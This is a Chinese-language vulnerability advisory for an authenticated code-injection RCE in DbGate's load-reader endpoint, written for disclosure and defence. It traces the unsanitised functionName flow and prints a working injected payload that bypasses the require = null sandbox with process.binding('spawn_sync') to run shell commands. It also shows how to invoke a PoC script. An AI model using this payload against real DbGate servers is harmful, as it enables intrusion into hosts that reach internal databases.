
通过 loadReader 端点中的 functionName 注入在 DbGate 中实现远程代码执行 — CVSS 8.8
functionName 注入实现的远程代码执行严重程度:高(CVSS 8.8)
CWE:CWE-94 — 代码生成控制不当(“代码注入”)
受影响版本:dbgate-api ≤ 7.1.8(已在 7.1.9 中修复)
安全公告:GHSA-hv83-ggc4-v385
NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-48017
致谢:Romain Deperne
POST /runners/load-reader 端点接收一个 functionName 参数,并将其
直接插入到 JavaScript 模板字符串中,随后在 fork 出的进程中执行——没有任何
清理或校验。任何已认证用户(无需特殊权限)都可以跳出预期的调用并执行任意 JavaScript,
从而在服务器上实现远程代码执行。
fork 出的 runner 将 require = null 设置为沙箱,但 process.binding("spawn_sync") 仍然可达:
process.binding("spawn_sync") 依然可以被访问,并会启动一个真实的操作系统进程。
我当时正在审计 DbGate 的 runner 子系统,寻找受保护与未受保护的代码执行
路径之间的差距。位于 runners.js:292 的 start() runner 受到了正确的门控——它会调用
testStandardPermission('run-shell-script') 并检查 platformInfo.allowShellScripting。
loadReader() 做的事情在概念上类似(它构建并运行一个 JS 加载脚本),但完全没有
上述任何检查。我追踪了数据流:
runners.js:353 loadReader({ functionName, props })
runners.js:366 loaderScriptTemplate(prefix, functionName, ...)
runners.js:64 `... ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`
packageTools.ts:33 return `dbgateApi.${functionName}` // ← no sanitization
functionName 由攻击者控制,并被插入到已执行的模板字符串中。dbgateApi.
前缀是它前面唯一的内容,而且可以被逃逸:用 toString(); 闭合表达式,
注入 payload,并用 // 注释掉末尾的 (${props}),即可得到有效的 JS。
文件:packages/api/src/controllers/runners.js(loadReader → loaderScriptTemplate)
文件:packages/tools/src/packageTools.ts:33(compileShellApiFunctionName)
// packageTools.ts:33 — functionName flows in unsanitized
return `dbgateApi.${functionName}`;
// runners.js:64 — interpolated into the executed loader template
`const reader = await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});`
生成的(注入的)脚本:
const reader = await dbgateApi.toString();
process.binding("spawn_sync").spawn({ file:"/bin/sh", args:["/bin/sh","-c","id"], ... });
dbgateApi.toString//({});
compileShellApiFunctionName() 原本用于将短名称转换为完全限定的 API 路径
(dbgateApi.<name>),并隐式信任 functionName 是一个标识符。然而,该值
直接来自 HTTP 请求体。由于它被拼接进随后会被
eval/fork 的源代码中,这种信任假设就构成了 RCE。require = null 沙箱并不能阻止这一点——Node 的
内部 process.binding("spawn_sync") 会绕过它。
修复(7.1.9):在将 functionName 编译进加载器脚本之前,依据严格的标识符允许列表对其进行校验。
poc/rce_loadreader_functionname_injection.py —— 端到端驱动真实端点。
# with an existing JWT
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 <JWT> 'id > /tmp/pwned'
# or log in first
python3 poc/rce_loadreader_functionname_injection.py http://localhost:3000 --login admin password 'id'
脚本构造 functionName 载荷,将其发送到 POST /runners/load-reader,注入的 spawn_sync 调用会在 fork 出的 runner 进程中执行该命令。
在 DbGate API 主机上实现经过身份验证的 RCE。DbGate 是一款数据库管理 GUI,常被部署在可广泛访问内部数据库的网络环境中——在其上实现代码执行可成为深入数据层的强力跳板。
以负责任的方式披露。PoC 在修复发布后公开,供防御方和检测工程使用。